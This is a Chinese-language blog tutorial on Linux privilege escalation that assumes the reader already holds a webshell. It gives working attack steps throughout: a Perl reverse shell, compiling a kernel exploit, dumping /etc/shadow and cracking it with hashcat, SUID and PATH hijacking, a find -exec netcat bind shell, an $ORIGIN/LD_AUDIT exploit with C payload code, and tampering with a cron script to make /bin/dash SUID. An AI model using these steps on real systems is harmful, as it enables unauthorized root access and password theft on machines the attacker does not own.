【提权】Linux提权方法

前言

  • Linux提权方法,环境是你已经拿到了一个linux的webshell

Linux 15.04提权

首先用perl-reverse-shell.pl来反弹shell到本地,由于是本地测试,所以ip就填自己本地的ip,接着本地nc -vvlp 1234,shell中执行下面命令,windows中就得到一个shell 了

image-20210820213833181

image-20210820213904244

信息收集

1
2
3
4
5
6
查看发行版
cat /etc/issue
cat /etc/*release

查看内核版本
uname -a

查找可用的提权 exp

1
内核:Linux moonteam-virtual-machine 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:37 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

https://www.exploit-db.com/

通过内核可以查到可利用的exp

image-20210820214756808

将其保存为15.04.c

image-20210820215055935

提权

用gcc 15.04.c -o exp

然后在webshell中运行提权成功!

image-20210820215910369

由于这个窗口不好用,所以切换一下shell

1
2
3
4
python -c 'import pty;pty.spawn("/bin/bash")'

形成
root@mvirtur-virtual-machine:/var/www/html/upload#

可以直接访问/etc/shadow查看密文了

image-20210820221241320

这时,问题来了,我们知道了密文该如何解密呢

hashcat解密利用

当前的Linux系统出于安全性考虑,etc/passwd 文件中并没有存储Linux用户的密码信息,而是转移到了/etc/shadow文件下,又称为“影子文件”。该文件只有root用户才能read权限,其他用户无权查看,使密码泄露风险降低。同时shadow文件中存储的密码采用SHA512散列加密,相比较原始的MD5,加密等级更高。

shadow文件密码存储格式:$id$salt$encrypted$

id代表使用的加密算法:

id Method
1 MD5
2a Blowfish(not in mainline glibc;added in some Linux distribution)
5 SHA-256(since glibc 2.7)
6 SHA-512(since glibc 2.7)

salt是长度1-16字符的随机数,随机数的引入增大了破解难度\

encrypted是最终的密文,即通过加密算法和salt(盐参)计算的最终结果\

实例:

1
$6$JmlEMUxK$1z4jAyPW9M10W4c6T79ly1yO38S9dXWLdj.gflDVsqj4DkhBTMBjLd8u7q5GD4B.SXa4smGrsXZxwJtPNHfRe0

解析:该shadow文件显示,使用加密算法为SHA-512,随机数(salt)为PUehV6sk,加密密钥为Y1ctlOYUyKJMO868w7C78xeCvkGz4R7M73Hs6cg.IsMSN.2QryqCbbno5wvklwHn4is//ibMQA0TIWiledmp80

Hashcat工具的使用可以去看我的相关文章,这里只介绍命令

参数标准语句:

1
hashcat  -a 0 -m <加密模式> <shadow文本.txt> <密码文本.txt> -o 输出文本.txt

这里由于我已知道密码有几位,所以采用掩码形式

3800 md5($salt.$pass.$salt)
3710 md5($salt.md5($pass))
4010 md5($salt.md5($salt.$pass))
1800 sha512crypt $6$, SHA512 (Unix)

操作步骤

1、将shadow.txt中放于密文

image-20210821075746124

2、命令执行

1
hashcat -a 3 -m 1800 shadow.txt --increment --increment-min 5 --increment-max 6 ?d?d?d?d?d?d

image-20210821080443790

如果想要他输出的话加一个命令

1
hashcat -a 3 -m 1800 shadow.txt --increment --increment-min 5 --increment-max 6 ?d?d?d?d?d?d -o result.txt

Linux SUID提权

首先演示一遍,假设root用户创建了一个suid.c文件为以下代码

1
2
3
4
5
6
7
8
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}

image-20210821094758885

接着gcc编译一下gcc suid.c -o suid-exp,然后给它一个suid的文件属性chmod 4777 suid-exp

image-20210821095032678

接着运行一下看看结果,发现可以运行/etc/shadow文件

image-20210821095056561

接着进入普通用户开始实战,普通用户无法访问shadow

image-20210821095145462

但是可以执行刚刚root用户创建的suid-exp文件./suid-exp

image-20210821095218753

所以就可以想着劫持这个cat命令来执行/bin/bash,不过像suid这种文件可以利用find找出来全部

1
find / -perm -u=s -type f 2>/dev/null

image-20210821095414249

劫持环境变量提权

因为System函数是继承环境变量,可以通过替换环境变量达到执行任意命令。

在当前/tep中创建一个文件

1
echo "/bin/bash" > cat && chmod 777 cat

当前目录中的cat它会执行一个shell

查看当前环境变量echo $PATH

image-20210821100017254

接着将tmp目录增加到环境变量

1
export PATH=.:$PATH

image-20210821100512143

接着执行/tmp/suid-exp,就成功劫持为root权限

image-20210821100709750

在说一个find,假如find也被设置了suid,我们可以利用find提权,首先看看是否存在find

1
2
touch sky
find sky -exec whoami \;

image-20210821104757553

前提是有nc,发现是root权限,接着将这个shell打开

1
find sky -exec netcat -lvp 5555 -e /bin/sh \;

image-20210821111906458

结果nc版本太低,没有-e这个命令无法传递shell,没办法,那就下一个版本高的nc吧,开整

1、wget下一个tar压缩的nc

1
wget  http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz

2、解压文件

1
tar zxvf netcat-0.7.1.tar.gz

3、解压完毕会生成目录

1
cd netcat-0.7.1

4、配置环境

1
./configure

5、配置完了再编译

1
make

6、编译成功生成了netcat可执行文件,位与src目录,cd进去然后运行,成功升级到一个版本有-e命令的情况

1
./netcat

image-20210821113300025

接着我们回到刚刚那个步骤,这回命令得加./netcat,成功反弹了一个root权限的用户

1
find sky -exec ./netcat -lvp 5555 -e /bin/sh \;

image-20210821114225235

其他文件的提权方法可以看看suid提权,我觉得suid提权主要是做后门吧。

$ORIGIN溢出提权

利用tmp目录权限、suid权限和C语言使普通账号提前为ROOT权限,适用范围RHEL5-6,CENTOS5-6

提权方法

1、进入tmp目录,创建一个利用目录

1
mkdir /tmp/exploit

2、将/bin/ping 和 /tmp/exploit/target建立链接

1
ln /bin/ping /tmp/exploit/target

3、将其加载到内存中

1
2
3
4
5
exec 3< /tmp/exploit/target
接着可以查看他已经在内存中
ls -l /proc/$$/fd/3

lr-x------ 1 test test 64 08-21 23:05 /proc/3685/fd/3 -> /tmp/exploit/target

4、接着删除我们刚刚创建的文件

1
2
3
4
5
rm -rf /tmp/exploit
他会依旧存在内存中
ls -l /proc/$$/fd/3

lr-x------ 1 test test 64 08-21 23:05 /proc/3685/fd/3 -> /tmp/exploit/target (deleted)

4、接着创建一个payload.c

1
2
3
4
5
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}

然后再gcc编译

1
2
3
4
5
6
gcc -w -fPIC -shared -o /tmp/exploit payload.c

接着exploit目录只能够会存在这样的东西
ls -l /tmp/exploit

-rwxrwxr-x 1 test test 4223 08-21 23:08 /tmp/exploit

5、提权执行下面命令,成功root权限

1
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

image-20210821151049263

Linux CRON JOBS提权

Cron jobs计划任务,通过/etc/crontab文件,可以设定系统定期执行的任务

crontab 文件只能是root权限 进行编辑

当我们得到一个非root权限的远程登录用户的时候
查看etc/crontab 内容文件,发现存在一个py脚本计划

image-20210821160816123

查看脚本内容,发现会删除cleanup目录里所有文件,根据计划是每隔两分钟一次

image-20210821160924089

接着很简单了,想要提权就直接给/bin/dash设置suid权限,运行之后就会得到root权限

1
2
3
将os.system('rm -r /home/moonteam/cleanup/*')替换成下面代码

os.system('chmod u+s /bin/dash')

image-20210821162128673

接着再过两分钟,就可以执行/bin/dash命令来提权到root了,因为给/bin/dash加了suid权限

image-20210821162554072

直接运行dash,就是root权限了

image-20210821162612344

我的个人博客

孤桜懶契:http://gylq.gitee.io

本文标题:【提权】Linux提权方法

文章作者:孤桜懶契

发布时间:2021年08月20日 - 21:12:37

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/108.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------